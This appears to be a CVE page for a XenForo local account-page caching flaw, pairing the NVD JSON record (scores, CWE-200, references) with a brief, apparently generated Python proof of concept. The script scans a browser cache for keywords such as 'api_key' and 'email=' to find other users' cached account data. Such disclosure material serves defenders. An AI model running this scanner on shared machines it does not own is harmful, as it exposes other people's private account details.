CVE-2025-71280

# Proof of Concept for CVE-2025-71280 # This script demonstrates checking browser cache for cached XenForo account data. import os def check_cache(directory): """Scans a directory for potential cached sensitive data.""" print(f"[*] Scanning directory: {directory}") # Keywords often found in XenForo account pages sensitive_keywords = ["account/preferences", "account/security", "email=", "api_key"] if not os.path.exists(directory): print("[-] Directory does not exist.") return for root, dirs, files in os.walk(directory): for file in files: file_path = os.path.join(root, file) try: with open(file_path, 'rb') as f: content = f.read(1024) # Read first 1KB if content: for keyword in sensitive_keywords: if keyword.encode('utf-8') in content: print(f"[!] Potential leak found in: {file_path}") print(f" Matched keyword: {keyword}") break except (IOError, PermissionError): continue # Example usage path (would be actual browser cache path in exploitation) # check_cache("C:\\Users\\Public\\Cache") print("PoC generated for educational purposes.")

{"cve": {"id": "CVE-2025-71280", "sourceIdentifier": "[email protected]", "published": "2026-04-01T01:16:40.393", "lastModified": "2026-04-01T18:52:12.647", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "XenForo before 2.3.7 allows information disclosure via local account page caching on shared systems. On systems where multiple users share a browser or machine, cached account pages could expose sensitive user information to other local users."}, {"lang": "es", "value": "XenForo anterior a 2.3.7 permite la revelación de información a través del almacenamiento en caché de páginas de cuentas locales en sistemas compartidos. En sistemas donde múltiples usuarios comparten un navegador o una máquina, las páginas de cuentas almacenadas en caché podrían exponer información sensible del usuario a otros usuarios locales."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xenforo:xenforo:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.7", "matchCriteriaId": "5ADDC458-D5EB-4B70-9EE7-93C78E81EDBD"}]}]}], "references": [{"url": "https://www.vulncheck.com/advisories/xenforo-local-account-page-caching-information-disclosure", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://xenforo.com/community/threads/xenforo-2-3-7-released-includes-security-fixes.232121/", "source": "[email protected]", "tags": ["Release Notes"]}]}}